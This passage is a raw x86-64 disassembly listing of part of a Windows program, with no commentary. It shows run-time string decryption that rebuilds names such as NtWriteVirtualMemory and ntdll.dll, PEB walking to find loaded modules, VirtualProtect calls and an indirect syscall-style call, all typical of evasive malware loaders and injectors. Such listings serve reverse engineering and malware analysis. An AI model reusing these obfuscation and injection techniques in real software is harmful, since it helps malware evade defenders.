mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rsp + 0x68], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0xac80]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x38490], rax
add rdi, r14
cmp rdi, 0x200
jl 0x140021f80
mov r14d, 0x1000
mov r8d, r14d
lea rdx, [rbp + 0x38490]
mov rdi, qword [rbp + 0xe10]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x60]
mov dword [0x1400e8364], eax
add rdi, qword [rsp + 0x68]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe68], eax
lea r9, [rbp + 0xe68]
mov r8d, r15d
mov edx, r14d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf00]
xor r8d, r8d
lea rdx, [rbp + 0xd30]
mov rcx, qword [rbp - 0x80]
call rdi
mov edi, eax
lea r9, [rbp + 0xe68]
mov r8d, dword [rbp + 0xe68]
mov edx, r14d
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r14d
xor edx, edx
mov rcx, qword [rbp + 0xe10]
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp + 0xe10]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400e8364], r9d
test edi, edi
lea r14d, [r9 + 0x17]
js 0x1400220ae
mov r10d, 1
mov rax, qword [rbp + 0xd30]
mov qword [rbp - 0x50], rax
test rax, rax
jne 0x1400226ba
mov word [rbp + 0x470], 0x4c3d
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x472], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x473], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x474], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x475], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x476], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x477], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x478], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x479], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x47a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x47b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x47c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x47d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x47e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x47f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x480], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x470]
call fcn.140035de8
mov byte [rbp + 0x481], al
xor eax, eax
mov byte [rbp + 0x482], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x470]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x470]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x471], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x1400222a4
xor r10d, r10d
mov byte [rbp + 0x482], r10b
mov word [rbp + 0x880], 0xc65
lea edi, [r10 + 0x1c]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x882], al
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x883], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x6c
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x884], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x65
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x885], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x64
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x886], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, r15b
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x887], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x888], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x889], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, r15b
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x88a], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x51
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x88b], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x75
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x88c], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x88d], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, WSAStartup
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x88e], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x88f], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r15b
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x890], al
mov r9d, edi
mov r8, r13
mov dl, 0x53
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x891], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x892], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x893], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x894], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x895], al
mov r9d, edi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x896], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x897], al
mov r9d, edi
mov r8, r14
mov dl, r15b
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x898], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x899], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x89a], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x89b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x880]
call fcn.140037344
mov byte [rbp + 0x89c], al
xor eax, eax
mov byte [rbp + 0x89d], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1b]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x880]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1c]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x880]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x881], dil
add r8, rbx
add r9, 0x1c
cmp r9, 0x32c
jb 0x140022621
mov byte [rbp + 0x89d], r10b
xor r9d, r9d
lea r8, [rbp + 0x471]
lea rdx, [rbp + 0x881]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
movabs rcx, 0xfc7aeea332188
mov qword [rbp + 0xf28], rcx
movabs rcx, 0xd9938cff1332a
mov qword [rbp + 0xf30], rcx
add rax, 0x18
mov qword [rbp + 0xf38], rax
mov eax, dword [rbp - 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x78], rax
mov qword [rbp + 0xe10], r9
mov r8d, r9d
mov rdi, r9
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe10], cl
add rdi, r10
cmp r8d, 8
jb 0x14002270a
mov r11d, r9d
mov rax, r9
lea r8, [rbp + 0xf28]
mov r12d, 1
movabs r13, 0x8080808080808081
and eax, 7
mov dil, byte [rbp + rax + 0xe10]
mov r10b, dil
xor r10b, 0x18
mov byte [rbp - 0x38], dil
mov ecx, r9d
lea r9, [rbp + 0xe10]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xe10]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r12d
add r9, r12
cmp ecx, 8
jb 0x140022788
movzx ecx, byte [rbp - 0x38]
movzx eax, r10b
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r12d
add r8, r12
movsxd rax, r11d
cmp rax, 0x18
mov r9d, 0
jb 0x140022768
mov eax, dword [rbp - 0x68]
mov qword [rsp + 0x68], rax
movabs rax, 0xa9ff9483ccaeddf
mov qword [rbp - 0x78], rax
xor eax, eax
mov qword [rbp + 0xe98], rax
mov r8d, eax
mov edi, eax
mov rbx, r12
lea r12d, [r9 + 0x15]
lea r13d, [r9 + 0x10]
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x68]
imul ecx, eax
movzx eax, byte [rbp + rdi - 0x78]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xe98], cl
add rdi, rbx
cmp r8d, 8
jb 0x140022839
xor r14d, r14d
mov r11d, r14d
mov eax, r14d
lea r8, [rbp + 0x28270]
lea ebx, [r14 + 0x11]
lea r15d, [r14 + 1]
and eax, 7
mov dil, byte [rbp + rax + 0xe98]
mov r10b, dil
xor r10b, 5
mov byte [rbp - 0x38], dil
mov ecx, r14d
lea r9, [rbp + 0xe98]
movabs r14, 0x8080808080808081
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xe98]
mov rax, r14
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r15d
add r9, r15
cmp ecx, 8
jb 0x1400228bc
movzx ecx, byte [rbp - 0x38]
movzx eax, r10b
add ecx, eax
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r15d
add r8, r15
movsxd rax, r11d
cmp rax, 0x104
mov r14d, 0
jb 0x140022892
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xe10], rax
mov word [rbp + 0x4e8], 0xae3c
mov r9, rsi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4ea], al
mov r9, rsi
lea r8d, [r14 + 2]
mov dl, 0x57
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4eb], al
mov r9, rsi
lea r8d, [r14 + 3]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4ec], al
mov r9, rsi
lea r8d, [r14 + 4]
mov dl, 0x69
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4ed], al
mov r9, rsi
lea r8d, [r14 + 5]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4ee], al
mov r9, rsi
lea r8d, [r14 + 6]
mov dl, 0x65
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4ef], al
mov r9, rsi
lea r8d, [r14 + 7]
mov dl, 0x56
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f0], al
mov r9, rsi
lea r8d, [r14 + 8]
mov dl, 0x69
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f1], al
mov r9, rsi
lea r8d, [r14 + 9]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f2], al
mov r9, rsi
lea r8d, [r14 + 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f3], al
mov r9, rsi
lea r8d, [r14 + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f4], al
mov r9, rsi
lea r8d, [r14 + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f5], al
mov r9, rsi
lea r8d, [r14 + 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f6], al
mov r9, rsi
lea r8d, [r14 + 0xe]
mov dl, 0x4d
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f7], al
mov r9, rsi
lea r8d, [r14 + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f8], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4f9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4fa], al
mov r9, rsi
lea r8d, [r14 + 0x12]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4fb], al
mov r9, rsi
lea r8d, [r14 + 0x13]
mov dl, 0x79
lea rcx, [rbp + 0x4e8]
call fcn.1400364e8
mov byte [rbp + 0x4fc], al
xor eax, eax
mov byte [rbp + 0x4fd], al
mov r8d, r14d
mov r9, rsi
lea r14d, [r8 + 0x17]
lea r15d, [r8 + 0x20]
lea r10d, [r8 + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x4e8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x4e8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x4e9], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x140022b79
xor edi, edi
mov byte [rbp + 0x4fd], dil
mov word [rbp + 0x1c8], 0x687d
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1ca], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1cb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1cc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1cd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1ce], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1cf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1d0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1c8]
call fcn.140035cf8
mov byte [rbp + 0x1d1], al
xor eax, eax
mov byte [rbp + 0x1d2], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x1c8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x1c8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x1c9], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140022cf8
xor r9d, r9d
mov byte [rbp + 0x1d2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140022e8d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x78], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140022e0b
lea r14d, [rax + 1]
mov r10d, r14d
mov r12, qword [rbp - 0x78]
mov ecx, r10d
cmp word [r12 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r12 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x140022ddc
mov r14d, reloc.WS2_32.dll_socket
lea r12d, [r14 - 2]
mov dword [rsp + 0x78], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x78]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rsp + 0x68]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rbp - 0x78], r10
je 0x140022e67
mov rax, rcx
lea r9, [rbp + 0x1c9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140022e60
add rax, r11
test edx, edx
jne 0x140022e4b
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
xor r9d, r9d
test dil, dil
jne 0x140023939
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rbp - 0x80]
jne 0x140022d93
mov dword [rbp - 0x68], r9d
mov rax, qword [rbp + 0xcd8]
mov qword [rbp + 0xe10], rax
mov word [rbp + 0x590], 0xa10b
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x592], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x593], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x594], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x595], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x596], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x597], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x598], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x599], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x59a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x59b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x59c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x59d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x59e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x59f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x5a0], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x5a1], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x5a2], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x5a3], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x590]
call fcn.1400364e8
mov byte [rbp + 0x5a4], al
xor eax, eax
mov byte [rbp + 0x5a5], al
mov r8d, eax
mov r9, rsi
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x590]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x590]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x591], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x1400230e5
xor edi, edi
mov byte [rbp + 0x5a5], dil
mov word [rbp + 0x1b8], 0x5239
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1ba], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1bb], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1bc], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1bd], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1be], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1bf], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1c0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x1b8]
call fcn.140035cf8
mov byte [rbp + 0x1c1], al
xor eax, eax
mov byte [rbp + 0x1c2], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x1b8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x1b8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x1b9], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140023264
xor edi, edi
mov byte [rbp + 0x1c2], dil
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400233f3
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x78], edi
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rsp + 0x68], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x140023372
